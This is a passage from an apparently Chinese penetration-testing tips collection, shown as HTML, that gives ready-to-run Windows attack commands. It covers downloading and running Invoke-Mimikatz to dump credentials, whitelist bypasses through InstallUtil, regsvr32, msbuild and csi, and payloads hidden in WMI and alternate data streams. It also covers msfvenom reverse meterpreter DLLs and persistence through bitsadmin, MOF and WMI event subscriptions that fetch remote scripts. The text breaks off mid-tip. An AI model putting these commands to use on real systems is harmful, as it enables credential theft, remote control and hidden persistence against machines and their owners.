&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_26" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 23. system权限的进程在某些情况下需要进行降权&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用sytem权限的进程可能会遇到以下问题:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;1.无法获得当前用户的文件内容&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;例如无法捕获用户的屏幕&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;2.环境变量有差异&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;因此需要降权到当前用户&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;降权方法1：使用SelectMyParent.exe&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;代码下载地址：https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/Processauthority.cpp&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A8%8B%E5%BA%8F%E7%9A%84%E9%99%8D%E6%9D%83%E5%90%AF%E5%8A%A8/"&gt;《渗透技巧——程序的降权启动》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;降权方法2：使用msdtc&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用msdtc会以system权限加载oci.dll，但在管理员权限cmd执行：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;msdtc -install&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;启动的calc.exe为high权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-msdtc-to-maintain-persistence/"&gt;《Use msdtc to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_27" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 24. 通过命令行能够对Windows系统安装WinPcap，这样就可以在Windows跳板上使用nmap和Masscan&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%B9%B3%E5%8F%B0%E8%BF%90%E8%A1%8CMasscan%E5%92%8CNmap/"&gt;《渗透技巧——Windows平台运行Masscan和Nmap》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_28" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 25. Windows平台执行mimikatz的方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_29" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：通过powershell&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_30" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：通过InstallUtil.exe&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《利用白名单绕过360实例》&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《利用白名单绕过限制的更多测试》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_31" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：通过regsvr32.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将mimikatz封装到dll中，通过regsvr32传入参数运行mimkatz&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;rundll32 katz.dll,EntryPoint log coffee exit  &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Code Execution of Regsvr32.exe》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_32" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：通过msbuild.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;下载xml文件，保存为a.xml：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;cmd：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes a.xml&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/"&gt;《Use MSBuild To Do More》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_33" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：通过csi.exe&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;"C:\Program Files (x86)\MSBuild\14.0\Bin\csi.exe" c:\test\katz.csx&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.4(Use-tracker-to-load-dll-&amp;-Use-csi-to-bypass-UMCI-&amp;-Execute-C-from-XSLT-file)/"&gt;《Study Notes Weekly No.4(Use tracker to load dll &amp;amp; Use csi to bypass UMCI &amp;amp; Execute C# from XSLT file)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_34" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：通过js/vbs脚本&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gist.github.com/subTee/5c636b8736530fb20c3d&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/"&gt;《利用JS加载.Net程序》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_35" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 26. Windows系统中可供存储和读取payload的位置&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_36" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：WMI&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;存储：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put() &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读取：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《WMI Backdoor》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_37" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：包含数字签名的PE文件&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;利用文件hash的算法缺陷，向PE文件中隐藏Payload，同时不影响该PE文件的数字签名&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://github.com/3gstudent/Pentest-and-Development-Tips/edit/master/README.md"&gt;《隐写技巧-在PE文件的数字证书中隐藏Payload》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_38" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：特殊ADS&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(1)...&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;type putty.exe &amp;gt; ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(2)特殊COM文件&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;type putty.exe &amp;gt; \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(3)磁盘根目录&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;type putty.exe &amp;gt;C:\:putty.exe 
wmic process call create C:\:putty.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Hidden-Alternative-Data-Streams%E7%9A%84%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7/"&gt;《Hidden Alternative Data Streams的进阶利用技巧》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_39" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 27. Windows系统中值得搜集的信息&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_40" class="h16"&gt;&lt;span class="span_for_h"&gt;(1)已注册的WMI信息&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员也许会使用WMI记录攻击者调用WMI的操作，可通过wmic查看，当然通过wmic也能关闭该监控功能&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.1(Monitor-WMI_ExportsToC++_Use-DiskCleanup-bypass-UAC)/"&gt;《Study Notes Weekly No.1(Monitor WMI &amp;amp; ExportsToC++ &amp;amp; Use DiskCleanup bypass UAC))》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_41" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 28. Windows系统反弹meterpreter的常用方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_42" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：通过rundll32加载dll反弹meterpreter&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;msf：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080&amp;gt;./a.dll&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;生成a.dll,然后上传至测试主机&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;执行&lt;code&gt;rundll32.exe a.dll,Control_RunDLL&lt;/code&gt;，即可上线&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_43" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：通过cpl反弹meterpreter&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;代码见https://raw.githubusercontent.com/3gstudent/test/master/meterpreter_reverse_tcp.cpp&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;生成dll，重命名为cpl，双击执行&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_44" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：通过powershell反弹meterpreter&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://raw.githubusercontent.com/3gstudent/Code-Execution-and-Process-Injection/master/2-CodeExecution-Meterpreter.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_45" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 29. Windows系统加载dll的方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_46" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：rundll32&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;rundll32 a.dll,EntryPoint&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_47" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：regsvr32&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;regsvr32 a.dll&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Code Execution of Regsvr32.exe》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_48" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：odbcconf&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;odbcconf.exe /a {regsvr c:\test\odbcconf.dll}&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.3(Use-odbcconf-to-load-dll-&amp;-Get-Exports-&amp;-ETW-USB-Keylogger)/"&gt;《Study Notes Weekly No.3(Use odbcconf to load dll &amp;amp; Get-Exports &amp;amp; ETW USB Keylogger)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_49" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：Tracker&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;Tracker.exe /d test.dll /c svchost.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;tracker.exe包含微软数字签名，可绕过应用程序白名单的限制&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.4(Use-tracker-to-load-dll-&amp;-Use-csi-to-bypass-UMCI-&amp;-Execute-C-from-XSLT-file)/"&gt;《Study Notes Weekly No.4(Use tracker to load dll &amp;amp; Use csi to bypass UMCI &amp;amp; Execute C# from XSLT file)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_50" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：Excel.Application object&amp;#39;s RegisterXLL() method&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;前提：已安装Microsoft Office软件&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;1.rundll32&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\test\\messagebox.dll');this.close();&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;2.js&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;var excel = new ActiveXObject("Excel.Application");
excel.RegisterXLL("C:\\test\\messagebox.dll");&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;3.powershell&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL("C:\test\messagebox.dll")&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Excel.Application-object's-RegisterXLL()-method-to-load-dll/"&gt;《Use Excel.Application object&amp;#39;s RegisterXLL() method to load dll》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_51" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：xwizard.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;复制%windir%\system32\下的xwizard.exe至新目录C:\x&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将msg.dll重命名为xwizards.dll，保存在C:\x&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;命令行执行：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;xwizard processXMLFile 1.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;成功加载C:\x\xwizards.dll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-xwizard.exe-to-load-dll/"&gt;《Use xwizard.exe to load dll》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_52" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 30. Windows Persistence&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_53" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：bitsadmin&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Use bitsadmin to maintain persistence and bypass Autoruns》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_54" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：mof&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;pragma namespace("\\\\.\\root\\subscription")    
instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP1";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 1";
    QueryLanguage = "WQL";
};    
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consP1";
    ScriptingEngine = "JScript";
    ScriptText = "GetObject(\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\")";
};    
instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;mofcomp test.mof&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《WSC、JSRAT and WMI Backdoor》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_55" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：wmi&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;每隔60秒执行一次notepad.exe&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/"&gt;《Study Notes of WMI Persistence using wmic.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_56" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：Userland Persistence With Scheduled Tasks&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;劫持计划任务UserTask，在系统启动时加载testmsg.dll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;操作如下：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;在HKEY_CURRENT_USER\Software\Classes\CLSID\下新建项{58fb76b9-ac85-4e55-ac04-427593b1d060}&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;接着新建项InprocServer32&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;值设定为&lt;code&gt;c:\test\testmsg.dll&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;testmsg.dll包含如下导出函数：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
